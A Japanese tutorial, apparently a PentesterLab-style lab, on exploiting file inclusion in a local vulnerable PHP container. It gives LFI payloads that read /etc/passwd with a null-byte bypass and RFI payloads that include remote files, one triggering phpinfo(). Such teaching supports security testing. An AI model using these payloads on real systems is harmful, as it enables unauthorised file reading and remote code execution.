はじめに
この実験では、ローカルおよびリモートのファイルインクルージョン脆弱性を悪用する方法を学びます。ファイルインクルージョン脆弱性は、ユーザー入力が適切にサニタイズされず、サーバー上のファイルをインクルードするために使用された場合に発生します。これにより、機密データの漏洩、リモートコード実行、その他の深刻な結果を招く可能性があります。この実験で使用される手法とペイロードを理解することで、これらの脆弱性の特定と悪用に関する実践的な経験を積むことができます。
この実験では、ローカルおよびリモートのファイルインクルージョン脆弱性を悪用する方法を学びます。ファイルインクルージョン脆弱性は、ユーザー入力が適切にサニタイズされず、サーバー上のファイルをインクルードするために使用された場合に発生します。これにより、機密データの漏洩、リモートコード実行、その他の深刻な結果を招く可能性があります。この実験で使用される手法とペイロードを理解することで、これらの脆弱性の特定と悪用に関する実践的な経験を積むことができます。
このフェーズでは、ファイルインクルージョン脆弱性を悪用するスキルを磨くための実験環境を構築します。
まず、以下のコマンドを実行して、脆弱な Web アプリケーションを起動します。
docker run -d -p 81:80 --name pentesterlab-phpfileinclude jewel591/vulnbox:pentesterlab-phpfileinclude /bin/sh -c "sed -i 's/allow_url_include = Off/allow_url_include = On/g' /etc/php/7.3/apache2/php.ini && service apache2 start && service mysql start && tail -f /var/log/apache2/error.log" --registry-mirror=http://hub-mirror.c.163.com
このコマンドは、ポート 81 で動作する脆弱な Web アプリケーションを持つ Docker コンテナを起動します。
次に、Web ブラウザを起動し、http://127.0.0.1:81 にアクセスします。Web アプリケーションのホームページが表示されるはずです。
このフェーズでは、URL パラメータを精査することで、潜在的なファイルインクルージョン脆弱性を特定します。
Web アプリケーションのホームページで、「Submit」ボタンと「Login」ボタンを押します。ブラウザのアドレスバーの URL に注意を払ってください。http://127.0.0.1:81/index.php?page=submit
や http://127.0.0.1:81/index.php?page=login
のように、URL が page
パラメータに応じて変化することがわかるはずです。
このパターンは、Web アプリケーションがユーザー入力を安全でない方法で処理している可能性があり、それがファイルインクルージョン脆弱性を引き起こす可能性があることを示しています。
このフェーズでは、ファイルインクルージョン脆弱性を検出する方法を探ります。一般的な方法は 2 つあります。
配列パラメータ法:page
パラメータを配列に変更します。例えば、http://localhost:81/index.php?page[]=test
のようにします。「include」または「failed to open stream」という警告またはエラーメッセージが表示された場合、アプリケーションがユーザー入力に基づいてファイルをインクルードしようとしているため、潜在的な脆弱性を示しています。
ローカルファイルインクルージョンテスト:サーバー上に存在するローカルファイルをインクルードしようとします。例えば、Linux では /etc/passwd
、Windows では C:\Windows\System32\drivers\etc\hosts
です。ファイルの内容が表示された場合、ローカルファイルインクルージョン脆弱性が確認されます。
このレッスンでは、2 番目の方法を使用して /etc/passwd
ファイルをインクルードします。
http://localhost:81/index.php?page=/etc/passwd
おそらく、アプリケーションが /etc/passwd
ではなく /etc/passwd.php
をインクルードしようとしていることを示すエラーメッセージが表示されるでしょう。これは、アプリケーションがインクルードするファイルに自動的に .php
を追加するためです。
これを回避するために、ヌルバイト技法 (%00
) を使用することができます。ヌルバイトは文字列の終了を示し、アプリケーションはそれ以降の内容を無視します。
以下のペイロードを試してみてください。
http://localhost:81/index.php?page=/etc/passwd%00
/etc/passwd
ファイルの内容が表示された場合、ローカルファイルインクルージョン脆弱性の存在が確認されます。
このフェーズでは、リモートファイルインクルージョンの概念と潜在的な脆弱性について詳しく見ていきます。
リモートファイルインクルージョンは重大な問題であり、攻撃者が外部サーバーからファイルをインクルードする可能性を生み出します。これにより、リモートコード実行や機密データの漏洩などの深刻なセキュリティ侵害につながる可能性があります。
まず、外部サーバーにホストされているリモートファイルをインクルードしようとする例から始めましょう。
http://localhost:81/index.php?page=https://www.example.com/index.html%00
これを実行すると、Web アプリケーションのレスポンスにリモートファイルの内容が含まれているのが見えるはずです。
実際のシナリオでは、攻撃者は通常、自分が管理するサーバーに悪意のあるペイロードをホストし、リモートファイルインクルージョン脆弱性を利用してそれをインクルードしようとします。
このデモンストレーションのために、PentesterLab のウェブサイトに事前にホストされているペイロードを使用します。
http://localhost:81/index.php?page=https://assets.pentesterlab.com/test_include.txt%00
このペイロードは phpinfo()
関数をトリガーし、サーバーの PHP 設定に関する情報を開示します。
これは潜在的な脆弱性のデモンストレーションであることを忘れないでください。独自のアプリケーションを構築する際には、このような攻撃を防ぐために適切なセキュリティ対策を実装することが重要です。次のセクションでは、これらのセキュリティ対策の一部について説明します。
この実験では、ローカルおよびリモートのファイルインクルージョン脆弱性を特定し、悪用する方法を学びました。脆弱な Web アプリケーションをセットアップし、URL パラメータを分析して潜在的な脆弱性を特定し、さまざまな手法を用いてファイルインクルージョン脆弱性の存在を確認し、最後にローカルおよびリモートのファイルインクルージョン脆弱性を悪用しました。これらの脆弱性とその悪用方法を理解することは、Web アプリケーションのセキュリティテストや、機密データとシステムの保護を確保するために重要です。